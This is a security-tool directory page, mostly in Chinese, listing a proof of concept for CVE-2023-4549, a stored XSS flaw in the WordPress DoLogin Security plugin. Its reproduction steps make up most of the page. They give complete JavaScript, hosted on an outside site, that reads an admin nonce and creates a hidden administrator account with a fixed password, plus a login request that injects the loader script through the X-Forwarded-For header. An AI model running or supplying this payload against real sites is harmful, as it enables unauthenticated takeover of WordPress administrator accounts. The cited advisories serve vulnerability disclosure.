Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2023-4549 — Repository for CVE-2023-4549 vulnerability. | Kitploit
工具/GitHubGitHub/b0marek/cve-2023-4549
Phishing ToolsVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubb0marek/cve-2023-4549

CVE-2023-4549

Repository for CVE-2023-4549 vulnerability.

查看仓库
2年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE ID: CVE-2023-4549

漏洞类型: 跨站脚本攻击 (XSS)

描述: 适用于 WordPress 的 DoLogin Security 插件在版本 3.6 及之前版本中,由于对 'X-Forwarded-For' 头部的输入清理和输出转义不足,存在存储型跨站脚本漏洞。这使得未认证的攻击者能够在页面中注入任意 web 脚本,当用户访问被注入页面时脚本会执行。

复现步骤:

root@kitploit:~
1. 将 JavaScript payload 放在 html.cafe 上。

const url = 'https://s…t/wp-admin/user-new.php';

fetch(url)
  .then(response => response.text())
  .then(html => {
    const parser = new DOMParser();
    const doc = parser.parseFromString(html, 'text/html');
    const nonceValue = doc.getElementById('_wpnonce_create-user').value;
    const requestOptions = {
      method: 'POST',
      headers: {
        'Content-Type': 'application/x-www-form-urlencoded'
      },
      body: `action=createuser&_wpnonce_create-user=${encodeURIComponent(
        nonceValue
      )}&_wp_http_referer=%2Fwp-admin%2Fuser-new.php&user_login=administrator&[email protected]&first_name=&last_name=&url=&pass1=O%21k6c5%5EfjO%5E1sF%26%24%21%26V2PG9e&pass2=O%21k6c5%5EfjO%5E1sF%26%24%21%26V2PG9e&send_user_notification=0&role=administrator&ure_other_roles=&createuser=Add+New+User`
    };

    return fetch(url, requestOptions);
  });


2. 发送带有特制 X-Forwarded-For 头的 HTTP 登录请求。

POST /wp-login.php HTTP/2
Host: <host>
Cookie: wordpress_test_cookie=WP%20Cookie%20check
Content-Length: 106
Cache-Control: max-age=0
Sec-Ch-Ua: 
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: ""
Upgrade-Insecure-Requests: 1
Origin: https://<host>
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://<host>/wp-login.php
Accept-Encoding: gzip, deflate
Accept-Language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7
X-Forwarded-For: <script src=https://html.cafe/x...3></script>

log=XSSor&pwd=abcd&wp-submit=Log+In&redirect_to=https%3A%2F%2F<host>%2Fwp-admin%2F&testcookie=1 

参考:

  1. https://wpscan.com/vulnerability/8aebead0-0eab-4d4e-8ceb-8fea0760374f
  2. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-4549
  3. https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/dologin/dologin-security-36-unauthenticated-stored-cross-site-scripting
下载工具